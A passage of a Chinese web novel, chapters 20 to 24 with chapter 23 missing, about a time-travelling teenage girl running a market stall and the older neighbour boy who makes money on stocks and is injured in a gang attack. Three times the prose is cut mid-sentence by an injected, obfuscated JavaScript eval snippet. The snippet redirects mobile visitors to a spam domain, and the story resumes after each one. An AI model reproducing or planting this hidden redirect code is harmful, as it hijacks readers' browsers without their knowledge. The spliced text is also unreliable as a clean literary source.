小姑娘这样笑保管没啥好事。 果然,她毫不客气地开口:“哥哥来帮我杀只鸡。” 沈明松起床气险些发作,横眉竖目:“不过年不过节,下雨天杀什么鸡?” 宋尔雅说自己要给姐姐过生日,还叫他去摘两椰子回来,她要炖椰子鸡吃。 沈明松无法拒绝她。 这小姑娘缠人功力不容小觑,他起身去隔壁鸡笼抓鸡放血,烧了开水烫了烫,还要拔鸡毛,麻烦得很。 他一边拔一边骂骂咧咧。 宋尔雅在旁边给他撑伞,要他省点力气,一会还要去给她开椰子呢。 沈明松冷哼:“把你哥我当牛使唤呢?” 宋尔雅还是笑眯眯:“别撒娇了,等哥哥过生日了,我也给你杀鸡吃。” 沈明松:“……撒个屁。” 过了一会儿又问:“你知道我生日?” 宋尔雅说知道呀:“阿姨的我也知道,我每次都给会你们准备了礼物的。” 这人嘴巴抹了蜜似的,惯会说好话,沈明松没太当回事,拔着公鸡尾部上的绿色长毛,想着可以给她做一个鸡毛毽子。 之前看她和陶冬冬在树下踢毽子时笨手笨脚的,动作夸张得头发一甩一甩地要上天,踩坏了不知多少毽子了。 而现在她的头发只剩短短一点,绑起来难看,放下来又痒脖子,她时不时就拨弄一下。 沈明松想还要许久才能长回原本的漂亮柔软。 晚上宋芳下班回来,桌面已经摆上丰盛得饭菜,起初她还不知道是怎么回事,直到宋尔雅拿出一个精美的礼物盒出来祝福她,也没想起来今天是自己生日。 因为宋芳从来没有过生日,更没有收到过生日礼物,她愕然了半天说不出话来。 宋尔雅和明珠一起给她唱了生日歌,把盒子推到她面前:“姐姐,你快点拆开看看。” 宋芳打开盒子,看到了里面那块精致小巧的手表,细细的指针转动着发出轻微的声音。 她知道价格,要上百块。 宋尔雅当了一年的”小老板“,平时也积极参加市里举行的各种有奖竞赛,拿了好几次奖金,宋芳带她去银行办了张存折让她存里面去,至于里面有多少钱了她也从来没问过。 “你……你买这个做什么呀?姐姐又戴不出去。” “怎么戴不出去?明天可以戴,后天也可以,每天都可以。”宋尔雅拉着她手给戴上,红皮表带扣在她手腕上成了饰品,”等我再有钱一点,我要给姐姐买黄金的钻石的。“ 沈明松闻言瞅她,巧言令色。 宋芳抬手看了看,神情是非常喜欢没错了。哪怕宋尔雅送朵路边摘的野花,宋芳都能乐开花来。 这大概是她头一次被家人如此珍视过。 20. 第 20 章 陶冬冬在期末终于拿到相对不错的成绩,陶叔送了她一辆自行车,她一边嫌弃车是粉红色的,一边载着宋尔雅到处乱蹿。 “听说你下个学期就要跳级来和我一起读初三了,你这脑子是怎么长的?” “没办法,毕竟我是天才嘛。”宋尔雅苦恼地叹气。 “……”陶冬冬有时真的挺想打她的。 宋尔雅上了那么多补习班,后面又有名师一对一辅导,若是连初中生都考不过她真的没脸见人了。 说起来,她父亲好歹也是个教授,自己遗传他点智商不过分吧。 来椰城旅游的人一年比一年多,宋尔雅求着宋芳去帮服装店进货时,顺带帮她带些东西回来。 宋芳本是不太同意她到外面做生意的想法的,但宋尔雅说家里不能只靠她,不然她会很累的。 宋尔雅又和陶冬冬说了自己的赚钱计划,她听了既新奇又兴奋,回家砸了自己存钱罐要加入,她还提供当司机服务。 宋芳进货回来后带给她一大包发饰、耳环、草帽等,其中还有一些圆润饱满的假珍珠。宋尔雅让明阿姨和贝壳串在一起很有设计感了。 两个小姑娘撩起袖子就是干,一路骑车到长林路租了个摊位,一天五毛钱租金,支起个小桌子放块布就将东西摆上。 陶冬冬胆子比她还大,放开嗓子就喊叫人来自家看看都有什么好东西,那些东西本身受女生欢迎,也不是什么贵重的东西,最贵的还是明阿姨做的手工品。 来海边玩就是要打扮得漂亮,很快就有人来买了,宋尔雅把珍珠贝壳项链,手链定价高了一点点,但都是自己设计做的,别家没有货,有富裕的图新鲜还是会买。 这条街上,买得最好的还是吃的,陶冬冬眼红别人小吃摊生意红火,恨不得自己立马化身大厨也支起锅灶来。 几天后,明秋月和一个女生出现在两人面前,左右看看,才问宋尔雅:“沈明松怎么不在,就你自己来吗?” 陶冬冬大声咳嗽,表示旁边还有一个她呢,她打量着明秋月问:“你找沈明松干嘛,你是谁?” 沈明松现在还在跟着陶叔船队捞鱼呢。 明秋月说是沈明松同学,她照顾了两人生意,买了两串项链,把其中一串送给和她一起的女生。 那女生颇有些嫌弃,摇头拒绝了,说自己妈妈从国外带了真的珍珠回来,她才不要什么假的。 陶冬冬顿时就不开心了,臭着脸看女生。 女生也白了陶冬冬一眼,扯扯明秋月:“快走吧,这里好热,我想回家吹空调。” 等她们走远后,陶冬冬说:“有钱人就是高傲,看人都鼻孔朝天的,像我堂哥。” 其实陶冬冬家境也很好,住的是潮汐路唯一一栋二层的小洋房,家里彩电冰箱都有,听说她堂哥家更有钱,早些年全家搬到京市去了。 等第二天,明秋月又来了,还是没见到沈明松身影,她有些失落,她就住这条街,第三天依旧假装不经意路过。 就连陶冬冬也感觉出了不对劲,她这个年纪也开始好奇男女之间的小暧昧小八卦了,问:“你说,那女生会不会是沈明松女朋友?” 宋尔雅摇头:“不知道。” 如去年一般,沈明松直到他家院子里荔枝成熟后,才从海里钻出来,又骑着他的三轮车出来卖水果了。 少年皮肤被晒黑一些,五官更立体了,陶冬冬说他像山里的野人,越看越凶。 如果要宋尔雅形容,她用黑豹来形容他,四肢修长,身材美型而不失力量和野性,阳光下,他眼神总是懒洋洋的。 沈明松把三轮车停两人摊位旁边,叫两人看着,他有事去找林海。 “金达”一整栋楼都是娱乐场所,一楼是电玩城,三楼是卡拉OK,一上去就是震耳欲聋的音乐和欢呼,大白天也不少人在这里聚众喝酒唱歌。 林海喜欢在这三楼待着,尽头便是他的办公室,沈明松往里面走,远去的音乐伴随着林海摔酒瓶的声音:“你究竟知不知道你在干什么?周强是什么人,要钱不要命的?” 办公室的隔音效果很差,一门之隔挡不住方文彬的冷笑:“人活世上不为钱为什么?你林海如今混得好,孩子老婆炕头热,你当然过得潇洒,就我烂人一个。” “你别跟我提老婆,你老婆跑了还不是因为你赌,赌得倾家荡产,之前还偷到你兄弟我头上了,要不是你当年替我挡过一刀,老子今天就砍-死你。” 方文彬说:“我的事你也不必管了。” 林海掀翻了茶几,东西被摔得哗啦响:“周强在违法你知道吗?他的钱能拿?你今个走出这个门,以后有多远死多远。” 方文彬的声音又缓和了下来:“哥,是我对不住你,可当时我真的走投无路了,现在我已经不赌了,只想赚钱还你,再娶个老婆生几个儿子。” 林海劝不动了,只让人滚,方文彬拉开门看见沈明松,眸光阴寒,龇着牙笑:“笑话看得怎么样?” 沈明松也不避着他的目光,面无表情,似乎对这一切都毫无兴趣。 林海让他进去,方文彬头也不回地走了。 办公室里一片狼藉,沙发被踢得东倒西歪,沈明松没坐,站在办公桌前听林海说话。 “你刚刚听得差不多了吧,他是铁了心要跟周强干。” 沈明松只微点了一下头。 林海不想多说,转而说起另外的事,从抽屉里拿出把崭新的摩托车钥匙丢给沈明松。 “拿去开吧,车就在楼下放着。” “谢谢哥。”沈明松露出一个笑容。 林海很重情义,说你是兄弟就会当成亲的来对待,他拉着沈明松吹了一会自己和方文彬年轻的事情,还给沈明松发了烟。 沈明松接过,最后也没有点上。 林海想起什么:“你还在玩股票,那玩意可不能随便碰的,每年跳了那么多,你们一个两个都喜欢赌。” 沈明松很小的时候就看着父亲玩股票,两年前他也入股市,那时候没什么钱都是小打小闹,慢慢地积累经验后也赚了些钱,一部分投在“金达”里面入了股,一部分还在玩。 沈明松说:“亏就亏了。” 林海想想,年少轻狂有好有坏,随他命吧。 这几年股市掀起热潮,大量百姓加入股民群体,有人目光毒辣借着此次机会乘风起,也有大大小小的老板破产站到了天台边缘,每个时代都有它繁华与衰落。 小散民再怎么亏损也不至于活不下去。 ~ “沈明松那个家伙怎么还不回来。” 陶冬冬扇着小扇子,偷偷往旁边瞥了一眼,小声嘀咕。 明秋月今天依旧过来了,看到沈明松三轮车后又惊又喜,没见他人也没关系,干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510447|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就坐车上等人,也不嫌热。 那天和她在一起的那个女生也在,隔一会儿就抱怨天气热,有蚊子咬她,街道好臭,那些人怎么买个几块钱的东西都要讲价。 可她就是不走。 宋尔雅热得慌,让陶冬冬别老看着人家,有人来买荔枝她就熟练地上称收钱,明秋月也来帮忙打开塑料袋将荔枝装进去。 她的手细嫩不小心被枝干尖锐尾部划了一下,就出现了一道红痕。 同行女生看到了就说:“秋月姐,都叫你回去了,你哪里能干这些活。” 明秋月再一次让她回去。 “我不回,我到要看看那个男的长什么样。” 陶冬冬大声地和宋尔雅讲悄悄话:“她跑我们面前来嘚瑟什么?” “谁,你说谁呢你?”同行女生瞪过来。 陶冬冬:“我没说谁,你别对号入座。” “你就是在说我。” 女生总是趾高气昂的,面相都显得刻薄。 她大声说:“秋月姐,这两女的看起来就好寒酸啊,你喜欢的那个男的该不会也一股穷酸味吧。也是,听说是个小混混。” 陶冬冬听愣了:“是说我们吗?” 宋尔雅也愣了愣。 无论哪个年代贫富差距都很大,底层人民再怎么努力都很难达到富人的生活,吃的穿的用的在他们眼里看起来是那么不堪。 这女生如此直白的说话,是真戳人心窝了,内心敏感一点的听了该要自卑于自己的贫穷了。 明秋月脸色变得很不好,厉声呵斥:“明芝兰,道歉。” 明芝兰:“不要,我说错什么了吗,我回去要告诉婶婶你喜欢一个又穷又混。”语气中居然隐隐带着窃喜。 说完她就跑了,留下惊慌失措的明秋月收拾烂摊子,她语无伦次地替堂妹给两人道歉。 陶冬冬没理她,低头看看自己,又看看宋尔雅:“我们哪里寒酸啦!” 明秋月继续道歉:“真的对不起,我妹妹那个人说话有点直。” 这时沈明松回来了,皱着眉问怎么回事。 陶冬冬:“你朋友说我们穿得寒酸,是穷鬼身上有酸味,你交的都是什么朋友?” “没有没有……”明秋月被堂妹坑惨了,解释都变得苍白无力,“不是我,我不会说这样的话的……沈明松你相信我好吗?” 她求救地望向他。 “嗯。”沈明松神色淡然点头。 听过难听的话多了去了,已经不会在意这种事。 他低头去看宋尔雅,她衣服干干净净的,被人剪掉的头发也长出来了一些,整齐地梳起来。 穿着打扮看起来是不富裕,但也不至于被人指着骂寒酸。 她没有要哭的迹象,也不羞耻,还好是个没心肝的。 明秋月看见沈明松真没生气才好了点,转而又恢复成了自信开朗的模样:“我找了你好些天,去找老师也没要到你家电话号码。” “我家没电话,你找我做什么?” 明秋月从小挎包里拿出两张没有一丝褶皱的票:“我爸爸弄来了两张星辰剧院的票,后天我们去看音乐剧吧?” 沈明松没伸手接,无情拒绝:“不去,听不懂。” 明秋月就猜到他是这个反应,想说什么,扭头看了旁边两个电灯泡犹豫了一会儿,让他去远处说话。 21. 第 21 章 几米远外什么也听不见了,陶冬冬心里的好奇猫被勾得不上不下:“他们要说什么呢,神神秘秘的?” “不知道。” 陶冬冬说:“像是在告白,但我觉得沈明松肯定不喜欢这种类型的。” 宋尔雅问:“那你觉得他喜欢什么样的?” 陶冬冬一如既往的神经大条,嘿嘿笑道:“他比较喜欢往海里钻,说不定喜欢上海里的美人鱼了。” 过于离谱发言令宋尔雅无语,想了想她说:“那得是穿绿裙子的美人鱼。“ 陶冬冬一脸问号:“什么绿裙子?” 明秋月不是美人鱼,今天也没有穿绿裙子,不知沈明松和她说了什么,她把音乐剧票丢他脸上,生气的跑了。 沈明松扯扯嘴皮。 这事经过陶冬冬嘴里发酵到陶叔耳朵里就成了,他和一个富家女在处对象。 陶叔忧心忡忡地想了几天,沈明松太早了没了父亲,自己好歹也算他半个爹,他不能不担忧,和年轻人说太多会被嫌弃,但他还是忍不住劝了。 “明松啊,怎么听说你处了个对象呢?” 沈明松坐在船板上整理着渔具,头也不抬:“没有的事,你哪听说的。” “没有最好,你这年纪该读书就读书,读不下去就先出外面闯闯,现在就过早贪图享乐是不行的,将来没出息。”陶叔相信他,拍拍他肩膀。 “而且你父亲给你和宋家小妹定了娃娃亲,以后不愁没媳妇,等你闯出一番天地来好好对人家,作为一个男人可不能让媳妇跟着你吃苦。” “叔,人小姑娘才十五岁,你别说这些,现在是什么年代了,那些都不算数的。”沈明松心中一颤,他都要忘记这些事了。 “咋不算数,我看宋家小妹挺黏你的。” 陶叔的封建思想是掰不过来的,沈明松也懒得多说,陶叔说什么他点头就好。 什么喜不喜欢的,恋不恋爱的,明秋月的心事他不懂,不在意,也没那闲工夫去懂。 至于宋瑶,他又不是变态对一个小孩有想法。 然而时间到了九月初,宋尔雅没有食言,真的给沈明松送了生日礼物。 “你送我只公鸡作什么?”沈明松抓住大公鸡两只爪子防止它乱跑,摸不清头脑。 宋尔雅让他不要嫌弃,这是他的礼物:“这可不是一般的公鸡。” 沈明松:“会下蛋?” “这是我亲手喂大的公鸡,每长一斤肉都是我的心血。” 沈明松嘴角抽搐:“你想让我帮你杀鸡就直说,没必要。” “其实我也想送其他的给哥哥你,可你和我姐生日挨太近,我赚钱没那么快。”宋尔雅舔舔嘴唇,继续画大饼,“等我有了钱,我就给你补上,我给你送黄金公鸡。” 沈明松嘴角抽得更厉害了。 宋芳究竟是怎么养小孩的,养出这油腔滑调。 ~ 上了初三后,宋尔雅和陶冬冬一个班里。 她跳级上来,新班主任挺喜欢她的。 至于同学各有各的心思,有玩得好的也有不爱搭理她的。陶冬冬极力求老师让她们做同桌,两人好得天天一起上厕所。 由于陶冬冬的帮忙,课间“小卖铺”还扩张了一些,额外用一个布包装货每天骑车运过来又带回去。 也有其他人在班里售卖课外小说杂志这些,学校管得不严,来这上学的没有几个有认真读书的念头,都等着再大几岁外出打工赚钱去了,学校睁一只眼闭一只眼的态度。 班主任倒是很在乎宋尔雅,怕她一心扑在赚钱方面上耽误了学习,她目前的成绩是可以考上好高中的,和其他人不一样。 她把人叫过去私下谈心,宋尔雅还挺意外的,晓得了这位是个负责的老师,她解释说就是因为自己还想念高中,所以才更想多赚钱的,没有因此而放弃学习。 高中花费可不是初中能比的,宋国梁一个人就够宋芳累的了,他还经常问宋芳要钱,宋尔雅不想加重她的负担。 班主任也知道有些家庭的小孩读书困难,能赚一点是一点,就观察了她一段时间,发现她平时上课都很认真听讲,连体育课时间都留在教室学习。 尤其是班主任在看到她自学的是高中课本时,从此误以为她是个天才,有自己的学习节奏。 她没意见了,还让宋尔雅把她卖的那些小零食小货物放在她宿舍里,以免她每天背来背去够累的。 宋尔雅只庆幸自己是才高考完穿过来的,不然过了几年,她该忘的都忘得差不多了。 沈明松不晓得去哪里发了什么财,有了一辆摩托车后,没多久也给家里装了电话,顺便换了彩电。 宋尔雅洗完澡和宋芳一起到他家看电视,电视机只有十四寸大,方方正正像一个小箱子,沈明松宽肩窄腰的挺拔身影往哪里一站,给挡严实了。 他刚洗完澡出来,白背心贴在身上沾了水汽,勾勒少年精壮有力的腰腹,剃着很考验颜值的寸头,没有文质彬彬的学生气息,倒像是个谈土匪生意的大哥。 宋芳说他好像又长高了许多,越来越像沈叔叔了。 明珠皱了下眉头,丢了件短袖过去让他穿上,沈明松蒙头套上,挪开身躯让出观看席位。 电视上还播放着中央新闻,他看得认真,随着主持人播报而沉思,鼻骨高挺,眼窝显得更加深邃。 明珠和宋芳对这个没兴趣,两人一起聊接下来要播的连续剧会是什么发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510448|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展。 新闻播完后,沈明松把遥控器塞宋尔雅手里:“你不看电视,看你哥我干嘛?” 明松叔叔总是死气沉沉,经历太多,身上就沉淀着故事。而面前这个沈明松又实在是太年轻了,比未来的他少了许多沉稳,又多了几分戾气,却又更生动一些。 宋尔雅还是没移开视线,故作深神秘凑近沈明松一点:“你像我认识的一个人。” “谁?” 宋尔雅说:“是我的叔叔。” 话应刚落就挨了个脑瓜崩:“你哪来的叔叔?” 宋尔雅捂住脑门蹲下去。 “弄疼了?”沈明松慌了一瞬,忙去拿开她的手。 她瞪过来。 “生气了?” “没有。”宋尔雅望着他的脸,“我只是有些想你了。” 沈明松搞不清她是否拿自己寻开心。 然而有那么一瞬间,宋尔雅很想抱他,她都好久没穿回去和明松叔叔见面了。 她去拿了切开的菠萝蜜放他面前,这种水果汁液很黏手,果肉里却含着香甜的汁水,她喜欢吃,用眼神示意人。 沈明松非常了解她的没脸没皮,十分冷漠:“想吃自己弄。” “可是很它黏手啊,碰了好难洗干净的。” 沈明松都要被她这无耻发言气笑了,难道就不黏他手? 宋尔雅又拿了一个空盘子过来,手指戳戳他硬邦邦的胳膊,细声催促:“哥哥帮帮我啦。” 尾音拉长了一点,沈明松心脏一阵酥麻,说不出什么感受,反正浑身不自在地拍开她手。 这个撒娇精! 他一直都很不明白,她很小的时候明明怕他怕得要死,现在却如此熟络的亲近他,为了使唤他动不动就撒娇,发出的每个音节都黏糊糊的,让他无所适从。 最后果肉还是被一包包弄下来放在盘子里堆满,宋尔雅就在边上吃,吃相很秀气。 他猝然发现她脸上的婴儿肥消失了不少,腮帮子不像小仓鼠那样肉嘟嘟的,她吃东西都很小口,细嚼慢咽,一些梳不起来的碎发散落在白净的脸侧上,眼睫细密如扇。 她在家图舒服,穿了宽松柔软的碎花睡衣,也隐隐勾勒出她渐渐成长的痕迹。 沈明松停止了目光,起身到外面抓了一把草木灰搓手,搓了很久也搓不掉手中黏液,心中莫名烦躁。 一晚上只有两集电视剧,宋芳看得意犹未尽,宋尔雅早就困得眼皮子打架,催着要回去睡觉了。 他们走后,明珠对沈明松说:“你芳姐还没结婚呢,而且妹妹也懂很多东西了,你以后注意点,别成天穿个背心,光着个膀子在家里晃。” 沈明松愣了愣,原来她正在长大。 22. 第 22 章 到了天气冷了的时候,宋芳换了个新工作,市中心机场正式通航后,那边商场大量招销售员,工资很高,本来是要求高中学历来着,宋芳面试时特意强调自己会英语后,主管破格录取了。 机场全球各地的人来来往往,会一门国际语言非常加分,宋芳按照着妹妹制定的学习计划学了一年多了,每天也都对话练口语,她已经能够和人简单交流了,随便去拉一老外过来她肯定能对上话。 妹妹说,不怕她学不好,就怕她不敢开口,所以她看见一个外国佬都心痒痒的上去搭讪几句。 商场化妆品的专柜人生意好,宋芳脑子活络,想着平民老百姓是消费不起这边的,可不代表没有市场,她给宋尔雅弄来了一批会变色的润唇膏和眉笔,让她试试能不能售卖出去。 那种润唇膏水果味的,吃到嘴里也没啥关系,涂上嘴还能随着温度而变色,在学校可以正大光明地涂,老师来问也找不出错处来,卖到一块钱一支也有人舍得,连别班女生也来找宋尔雅买。 为了将自己暑假还没卖完的货物推销出去,宋尔雅空闲时就给班里的女孩子编头发,顺带多推销些发卡别上。 本来就爱美的女生看见几乎都很喜欢,也买来大胆打扮起自己来,班主任只强调让人不要早恋。 虽然不明白打扮和早恋有什么关系。 一个个都时髦起来,连陶冬冬都准备留长发了,她摸着宋尔雅柔软的发丝都羡慕了:“瑶瑶,你长得真好看。” 宋尔雅让她认真听她怎么讲题,陶叔求她帮一下陶冬冬考个高中读。 陶冬冬看见数学题就头疼,不死心地把话题扯出去:“如果我也能有你这么白就好了,可他们都笑我像一根黑甘蔗。” 宋尔雅抬眼看她,陶冬冬五官轮廓分明,得用英气来形容,她不理解:“你可是有一米七四那么高啊,他们怎么敢笑你的。” 陶冬冬身材比例相当优越,都可以去当模特了。 陶冬冬不懂一米七四的含金量,她还是想要大众喜欢的那种白皮肤,只能说各自有各自羡慕的地方。 宋尔雅这具身体不是长不高,而是发育比别人慢,她猛猛吃饭后身高就飙上来了,等她一米六二时,寒假也来了。 椰城一到深冬就总下雨,不至于冷得人门都不想出,但也不让人好受,是潮湿到衣服总干不了的那种冷,每天裹在水雾里一样。 宋尔雅依旧和陶冬冬一起出门做小生意,这回宋芳又给她们弄来了一批丝袜、丝巾。 冬天也不耽误要穿得时尚好看,大衣里搭块小丝巾,短裙下套上一双内绒丝袜搭着小皮鞋,随着潮流走。还有陶冬冬这个现成的模特,把丝袜穿起来用来展示,一双腿又长又直的,青春靓丽。 生意红红火火,宋尔雅数了数自己小金库,都有些感叹这个时代还真是努力就饿不死。 沈明松从证券交易所出来,外面雨越下越大了,绵绵密密地,风一吹雨水就往人脸上拍,湿润的雾气四处弥漫。 陆年双眼微微发红,不断用手轻轻拍自己脸颊:“松哥,你打我一下,我不是在做梦吧,五万,我居然赚到了五万块!” 不止是他,大厅里还有更多人陷入一场狂欢中,有更甚者当众脱了上衣学猴叫以用来表明狂喜。 股票大涨,他们这些押对宝的狠赚了一笔,陆年可太庆幸于自己跟着沈明松混,跟着买了一些。 他对这些没什么远见,看不明白行情,可他了解沈明松,这人满脑子都是赚钱,也很会赚,他干啥陆年便干啥。 其实他平时零花钱很多,他见当时沈明松都有勇气把大手笔投进去,他也放手赌了一把。 一万块钱投下去,一年后给他赚到了人生第一桶金。 五万多,是多少家庭多少年的收入了,这时的平均工资也才几百。 沈明松把股票认购证叠好放口袋里,低声道:“闭嘴。” 陆年忍了忍才忍住没化身猴子尖叫起来。他家本身很有钱不是没见过世面,但自己赚到的总归是不一样的,他激动地又给了自己几巴掌。 沈明松要比他淡定很多,他并没有狂喜,反而有些不甘心。 多少小老板在今天过后猛赚百万,甚至更多,不甘心自己投的钱太少了,赚得太慢了,几万块还远远不够的。 他这个年纪,再怎么沉稳,也很难控制住心里的野心和急躁。 为了方便骑车他们带着雨衣来的,陆年坐沈明松车后,他一直也想要辆摩托车,可他家里怕他出去当小流氓,一直不同意。 “等我拿到钱,我就买辆超拉风的。”陆年喜滋滋的,想到什么又说,“松哥,你去买个礼物哄哄月月吧,她好长时间没理你了。” 沈明松:“不去。” “啧。” 陆年也不得不承认他木头一个,完全没有少年人那些弯弯绕绕的小心思。月月漂亮又温柔,也那么喜欢他,他前段时间却把人气哭了。 “松哥,你真不喜欢月月啊?” 沈明松漫不经心:“不是那种喜欢。” 陆年叹了一口气,他和明秋月家关系好,两人一起长大,也就知道了一些事情。 也不知道明芝兰究竟和明秋月母亲说了些什么,有天她便气势汹汹地跑来学校找了沈明松说了些很难听的话。 “阿姨说话确实难听了点,不过月月不一样……”陆年说着说着收住了声音,不再说下去了。 认识沈明松那么多年以来,他很少会表现出什么自尊心,仿佛生来就没有这种东西,内心极为强大,明秋月妈妈说的那些可能对他来说都没什么攻击力。 可陆年又不是他本人,哪里能切身体会到,沈明松不说也许是不愿意表露出来。 在面对月月时,他会自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510449|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卑吗,也许就是因为这样他才一直不敢接受? 陆年胡乱猜测一番,最后叹了一口气:“松哥,我觉得你以后会很了不得的,也许比我家,明家都要有钱,到那时候你想喜欢谁就谁。” 沈明松不做白日梦,沉默地骑着车,路过长林路街口时他转了下车头,拐了进去。 陆年以为他要买什么,等了一会才晓得他是在找人。 沈明松拉开了雨衣领子,左顾右盼地在雨幕中寻找了好一会儿,才发现躲人家店门口屋檐下避雨的少女。 “那是你妹妹吧。”陆年一眼就认出了少女,那张脸实在是叫人印象深刻,一段时间过去,又长开许多。 他不由仔细端详起避雨的少女来,长相具有冲击力,眼尾翘得带了钩子一般,不似以前的可爱,却在往明艳娇媚的方向成长。 在潮湿寒冷的风中,宋尔雅就只穿了一件外套略显单薄,身形纤细修长,手中拎了一双湿透的布鞋,光脚踩在石砖地面上,微微发抖。 育德大多数都是有钱人家的孩子去读,沈明松的同班女生们一个比一个体面,每月都有零花钱,假期会去兴趣班或者出去玩。 她和她们比起来,像长在石头缝里的小花,任由风吹雨打,靠着根部扎深吸取养分存活,就怕哪天来个不长眼的狗就给踩折了。 沈明松说:“你下去。” “啊。”陆年挠挠头,晓得少女没伞沈明松肯定优先带他妹妹回去的,可他咋办? “车挺大的,我们三个挤挤还是能坐得下的。” 沈明松还是赶他:“不方便,你自己找辆的士回去。” “有什么不方便……” “滚下去。” 陆年:“好吧。” 雨水淅淅沥沥,砸在地面开出了花,十二月的寒风一个劲往湿漉的裤脚吹。 宋尔雅仰头看着雨没有要停的迹象,深深叹了一口气。 雨下大之前她就收摊了,让陶冬冬先骑车载货回去,她自己慢慢走。偏偏来了场大风,她一时没拿稳雨伞被吹飞,气球一样在高空中远航了。 鞋子湿透了,穿着湿冷又难受,还不如脱下来,寒风一阵一阵的,宋尔雅只希望陶冬冬能快点回来救她。 商店里面的老板在看电视,上面在放着本市新闻,正好播出一条少女离奇失踪案,她家人在面对记者采访满脸沧桑,对着镜头求着知情人给个线索,会有重金酬谢。 宋尔雅皱皱眉,这几年好多猖狂分子在骚动,街上都多了好些巡警。 她时不时往旁边不远处看一眼,那个骑摩托车的雨衣人似乎一直在盯她,她怀疑是人贩子,看着他缓缓走过来,不由得警惕起来四处寻找巡警身影。 他一挨近,宋尔雅几乎是弹跳起来地要跑,沈明松眼疾手快逮住想冲进雨中的少女,拽住她胳膊将她拉了回来:“是我,你哥。” 24. 第 24 章 宋尔雅这次穿过来后,看谁接近宋芳都像在看畜生。 在过于关心母亲的感情生活后,宋芳问她是不是少女思春了,怎么这么八卦。 宋尔雅都还没揪出嫌疑人,她这边的第二个生日就来了。 新的一批小鸡崽又长成了大肥鸡,宋瑶生日这天宋芳按照惯例祭献了一只大公鸡,也不讲究什么仪式感,吃吃喝喝就是了。 两家人依旧还在一起吃饭,沈明松回来得晚会提前给他留饭。 那晚宋尔雅等了到了睡着,他很晚都没有回来,一通来自医院的电话打到了他家。 临近过年,很多年轻人打工回来,提前放起了鞭炮热闹喜气一下。 这喜气稍微淡化了住院部的沉闷,嘈杂的声音中几乎都在谈论着快要过年的事情。 陆年鼻青脸肿的,右手胳膊也伤到了,打着石膏吊在脖子上,他爸看见他这个惨样也不忍心此时骂他。 陆良一身制服,满身正气,看到同病房的还有沈明松,头上缠着一圈白纱布还陷入昏迷中,眉头严肃皱起:“这次又是怎么回事,我说了多少次让你远离这些狐朋狗友!” 陆年不满叫道:“爸,你小声一点,而且这次不关我朋友的事,要不是他我昨晚就被人打死了。” “秋月和芝兰怎么样?” “她们一直在家里,没出事。” 面对着警察父亲的一阵盘问,陆年垂头丧气将事情完完整整的重复出来。 事情起因是明芝兰,她交了一个社会混的男朋友,前端时间她和家里人吵架后离家出走,明秋月怀疑她是去找男朋友了,但不敢自己前去叫人回家,于是叫了陆年陪同。 陆年和明家两姐妹一起长大,虽然不怎么喜欢明芝兰的性子,但也不想她出事,,陆年又叫上了沈明松。 三人一起找到了晚上,终于在大排档找到了酒醉的明芝兰,她那个所谓的男朋友正准备将她抱上车带走。 他们上去阻拦,打了那人一顿,把人抢回来带回家了。 然而就在昨晚,他和沈明松在路上走时,一辆面包车匆匆拦住两人去路,是明芝兰男朋友来寻仇了。 几个手持武器的男人拉开车门,二话不说就跳出来对着两人开打。他们下了死手,如果不是沈明松身手敏捷,给挡了几次让他先跑,陆年可能都活不过昨晚。 直到警笛响起他们匆匆逃走,两人才逃过这次,但沈明松受伤严重,从昨晚到现在都还没醒。 陆良眉头松了下来,看昏迷中的沈明松这才和善了一点,走出病房和门外的下属嘱咐这件事一定要严查到底。 他在医院等了一会,等到了宋尔雅和明珠两人。她推着轮椅赶来了,额头都急出了细汗,微微喘着。 陆年出到走廊后,又和他们解释了一遍。陆良只扫了明珠残缺的双腿一下,目光移开,郑重和她承诺一定会找到行凶者:“医药费我已经交了,之后的一切费用也该由我家负责。” 宋尔雅没时间听陆良说下去,她率先进病房看人。 以前看古惑仔电影,里面那些混混打架都是真刀实枪的,一人一把大砍刀,对法律没有敬畏之心,也不要命的,她一想到昨晚沈明松在面对什么就心惊。 从前躺病床的人是她,如今身份换过来了,宋尔雅觉得无论多强大的人往这一躺,也会变得孱弱。 沈明松紧闭双眼,身上的伤口虽然已经止住血了,可他唇色发白,头上那圈纱布骇人,带血的衣服下隐隐可见缠绕的绷带,他的伤比看到的还要多,消毒水和淡淡的血腥味萦绕在鼻尖, “医生说了没有生命危险。”陆年在身后说,他心怀愧疚不敢去面对跟进来的明珠,只和宋尔雅说话。 宋尔雅去找来了毛巾用热水浸湿,小心翼翼给他擦拭掉身上血渍,有些都结成黑红的一块了,擦到身体的时候明珠说让她来吧。 